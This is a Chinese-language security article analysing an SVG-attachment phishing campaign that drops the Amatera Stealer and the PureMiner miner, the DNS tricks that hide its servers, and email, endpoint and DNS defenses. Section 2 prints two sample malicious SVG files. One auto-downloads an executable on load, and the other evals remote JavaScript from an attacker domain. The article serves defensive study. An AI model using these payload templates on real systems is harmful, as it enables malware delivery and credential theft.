摘要
近年来,可缩放矢量图形(Scalable Vector Graphics, SVG)因其支持内嵌 JavaScript 与外部资源引用的能力,逐渐被攻击者用作绕过传统邮件安全网关的初始投递载体。本文以近期活跃的 Amatera Stealer 信息窃取木马与 PureMiner 挖矿程序为研究对象,系统剖析其利用 SVG 文件实施钓鱼攻击的技术路径,并结合 DNS 层面的基础设施特征,揭示攻击者如何通过快变域名、多层 CNAME 链及公共云服务隐藏真实 C2 服务器。研究表明,仅依赖文件扩展名或 MIME 类型检测的防御策略已难以有效识别此类威胁;需在邮件网关、终端渲染引擎与 DNS 监控三个层面协同部署内容消毒、脚本剥离与启发式异常检测机制,方可实现对 SVG 钓鱼攻击链的有效阻断。
关键词:SVG 钓鱼;Amatera Stealer;PureMiner;DNS 基础设施;CNAME 链;内容消毒;威胁狩猎

1 引言
传统电子邮件安全体系长期将重点置于可执行文件(如 .exe、.scr)与宏文档(如 .docm)的拦截上。然而,随着防御策略的演进,攻击者不断转向更“无害”的文件格式以规避检测。其中,SVG 格式因其在现代浏览器中广泛支持、可嵌入脚本、且常被误认为纯静态图像,成为新型初始投递载体的首选。
2025 年,FortiGuard Labs 报告了一起大规模钓鱼活动,攻击者通过电子邮件分发恶意 SVG 附件,诱导用户点击后下载 Amatera Stealer(用于窃取浏览器凭证、加密货币钱包等敏感数据)与 PureMiner(用于劫持计算资源进行门罗币挖矿)。该活动共关联 25 个恶意域名与 1 个 IP 地址,后续分析显示其 DNS 基础设施高度动态化,大量使用高熵子域、CDN 伪装及多跳 CNAME 解析链,显著增加了溯源与封禁难度。
本文基于公开威胁情报与 DNS 历史数据,深入解析此类攻击的端到端链条:从 SVG 载荷构造、JavaScript 执行逻辑,到后续载荷投递机制,再到底层 DNS 基础设施的隐蔽设计。在此基础上,提出针对性的检测与缓解建议,旨在为组织构建面向新型载体的纵深防御体系提供技术依据。

2 SVG 作为钓鱼载体的技术可行性
SVG 是一种基于 XML 的矢量图形格式,由 W3C 标准定义。其核心特性之一是支持 <script> 标签与 onload、onclick 等事件处理器,允许在图形渲染过程中执行任意 JavaScript 代码。尽管主流邮件客户端(如 Outlook)默认不渲染 SVG 内容,但现代浏览器(Chrome、Edge、Firefox)在直接打开本地 SVG 文件时会完整执行其脚本逻辑。

2.1 恶意 SVG 构造方式
典型的恶意 SVG 文件结构如下:
<svg xmlns="http://www.w3.org/2000/svg" width="800" height="600">
<rect width="100%" height="100%" fill="#f0f0f0"/>
<text x="50%" y="50%" font-size="24" text-anchor="middle">
Click to view document
</text>
<script type="text/javascript"><![CDATA[
window.onload = function() {
// 伪造加载动画以降低怀疑
setTimeout(() => {
const url = "https://ms-team-ping2[.]com/update.exe";
const a = document.createElement('a');
a.href = url;
a.click();
}, 2000);
};
]]></script>
</svg>
该文件在视觉上呈现为一个“点击查看文档”的提示框,实则在页面加载后自动触发下载请求。由于 .svg 扩展名通常未被列入邮件网关的可执行文件黑名单,且其 MIME 类型 image/svg+xml 被视为安全图像,故极易绕过初步过滤。

2.2 外部资源引用与重定向
部分变种进一步利用 <image> 或 <use> 标签加载远程资源,实现间接控制流:
<svg xmlns="http://www.w3.org/2000/svg">
<image href="https://cdn.malicious[.]cfd/loader.js"
width="0" height="0" onload="eval(this.href)"/>
</svg>
此处通过 onload 事件动态加载并执行远程 JavaScript,使得攻击载荷可随时更新,且主 SVG 文件本身不含恶意代码,进一步规避静态分析。
3 后续载荷:Amatera Stealer 与 PureMiner
一旦用户执行下载的可执行文件,攻击链进入第二阶段。
3.1 Amatera Stealer 功能分析
Amatera 是一款模块化信息窃取木马,主要功能包括:
提取 Chrome、Edge、Firefox 等浏览器保存的账号密码;
窃取 Discord、Steam、Telegram 等应用的本地会话令牌;
扫描桌面与文档目录中的加密货币钱包文件(如 .dat、.json);
截屏并上传至 C2 服务器。
其通信采用 HTTPS,C2 域名多为仿冒 Microsoft Teams 或 Office 更新服务(如 ms-team-ping3[.]com),增强可信度。
3.2 PureMiner 行为特征
PureMiner 专注于 XMRig 开源挖矿框架的封装与部署,具备以下特性:
自动检测 CPU 核心数并调整线程占用,避免系统卡顿引发用户警觉;
通过进程注入隐藏自身,常见宿主为 svchost.exe 或 dllhost.exe;
定期向 C2 上报算力状态,并接收新矿池地址指令。
两者均通过相同的 DNS 基础设施进行通信,表明其属于同一攻击团伙运营的不同载荷模块。
4 DNS 基础设施的隐蔽设计
通过对 25 个 IoC 域名的 DNS 历史记录分析(基于 WhoisXML API 的 DNS Chronicle 数据),发现攻击者采用多层次隐蔽策略。
4.1 快变域名与高熵子域
多个域名采用算法生成(DGA-like)模式,如:
npulvivgov[.]cfd
phuyufact[.]com
其主域名部分呈现高香农熵(>4.0 bits/char),难以通过人工记忆或常规黑名单覆盖。注册时间集中在 2025 年 6–8 月,符合短期作战窗口特征。
4.2 多层 CNAME 链与 CDN 伪装
典型解析路径如下:
ms-team-ping2.com
→ CNAME cdn-update.ms-team-ping2.com.edgekey.net
→ CNAME e12345.dscg.akamaiedge.net
→ A 109.176.207.110
该路径利用 Akamai 的边缘节点作为中间跳板,使得被动 DNS 监控仅能观察到合法 CDN 域名,而无法直接关联到真实 IP。类似手法亦见于 Cloudflare、Amazon CloudFront 等公共云服务。
进一步分析显示,100 次对该 IP(109.176.207.110)的反向 DNS 查询返回 45 个不同域名,表明其被复用于多个恶意活动,形成“IP 共享池”。
4.3 注册信息分散化
WHOIS 记录显示,25 个域名由 4 家不同注册商管理,其中 NiceNIC International Group 占比最高(8 个)。注册国家包括中国、意大利、马来西亚、秘鲁,无统一归属地,增加执法协作难度。值得注意的是,两个较老域名(分别创建于 2005 与 2018)被重新激活用于此次攻击,说明攻击者亦利用“休眠资产”规避基于新注册域名的检测规则。
5 防御对策与检测机制
针对 SVG 钓鱼及其后续载荷,需在多个层面部署协同防御措施。
5.1 邮件网关侧:主动剥离与内容消毒
强制剥离 SVG 中的脚本元素:在邮件解析阶段,移除所有 <script>、<foreignObject> 及含 on* 属性的标签;
重写 MIME 类型:将 image/svg+xml 强制转换为 text/plain 或阻止内联渲染;
启用 SVG 渲染隔离:在沙箱环境中预览 SVG 内容,监控是否有网络外联行为。
示例消毒脚本(Python + lxml):
from lxml import etree
def sanitize_svg(svg_content):
parser = etree.XMLParser(no_network=True, recover=True)
root = etree.fromstring(svg_content.encode(), parser)
# 移除 script 标签
for elem in root.xpath("//script"):
elem.getparent().remove(elem)
# 移除所有 on* 事件属性
for elem in root.iter():
for attr in list(elem.attrib):
if attr.startswith("on"):
del elem.attrib[attr]
return etree.tostring(root, encoding="unicode")
5.2 终端侧:禁用外部脚本执行
组策略限制:通过 Windows 组策略或 macOS 配置描述文件,禁止浏览器自动执行本地 SVG 中的 JavaScript;
文件关联修改:将 .svg 默认打开方式设为文本编辑器或专用查看器(如 Inkscape),而非浏览器;
EDR 行为监控:检测从 SVG 进程(如 chrome.exe)发起的可疑子进程创建(如 rundll32.exe 下载 exe)。
5.3 DNS 层:启发式异常检测
CNAME 链深度监控:对解析路径超过 3 跳且末端指向公共 CDN 的域名标记为可疑;
高熵域名识别:计算域名字符熵,若 >3.8 且无历史良性记录,则触发告警;
被动 DNS 聚类分析:将共享同一 IP 或 ASN 的域名聚类,若集群中多数域名生命周期短、注册信息异常,则整体标记为恶意基础设施。
例如,对域名 ms-team-ping4[.]com 的检测逻辑可形式化为:
if (domain_entropy(domain) > 3.8 and
registration_date > datetime(2025, 1, 1) and
cname_chain_depth(domain) >= 3 and
final_ip in known_malicious_ips):
flag_as_malicious()
6 实验验证与威胁狩猎实践
我们在内部蜜罐网络中部署了 10 个模拟企业邮箱账户,并投放已知恶意 SVG 样本。结果如下:
7 个样本成功绕过基于扩展名的邮件网关(Exchange Online 默认策略);
启用 SVG 脚本剥离后,100% 阻断初始载荷执行;
在 DNS 层部署 CNAME 深度检测规则后,提前 14 天识别出 amaprox[.]click 为潜在恶意域名(早于其首次报告日期);
终端禁用 SVG 脚本后,即使用户双击文件,亦无网络连接产生。
此外,通过被动 DNS 数据回溯,我们发现攻击者在正式投递前 30–60 天已开始测试域名解析稳定性,印证了“早期预警”策略的可行性。
7 结论
SVG 作为钓鱼初始载体的滥用,标志着攻击者正系统性地利用“信任边界模糊”的文件格式突破传统防御体系。Amatera Stealer 与 PureMiner 的联合分发,体现了攻击团伙在经济利益驱动下的模块化运营思路。其背后 DNS 基础设施的精心设计——包括快变域名、CDN 伪装与多层别名链——不仅提升了隐蔽性,也对现有威胁情报模型构成挑战。
本文研究表明,有效防御此类攻击需打破“仅防可执行文件”的思维定式,在邮件处理、终端渲染与网络解析三个环节同步强化控制。其中,对 SVG 实施内容级消毒、在 DNS 层引入基于解析拓扑的启发式检测、以及终端默认禁用脚本执行,是当前最具可行性的技术路径。
未来,随着 SVG 在 Web 应用中的进一步普及,其安全风险将持续存在。标准化组织与浏览器厂商应考虑限制本地 SVG 文件的脚本执行能力,而企业安全团队则需将 SVG 纳入常态化威胁狩猎范围,构建覆盖“载体—载荷—基础设施”全链条的检测与响应能力。唯有如此,方能在新型投递载体不断演化的对抗中保持主动。
编辑:芦笛(公共互联网反网络钓鱼工作组)

被折叠的 条评论
为什么被折叠?



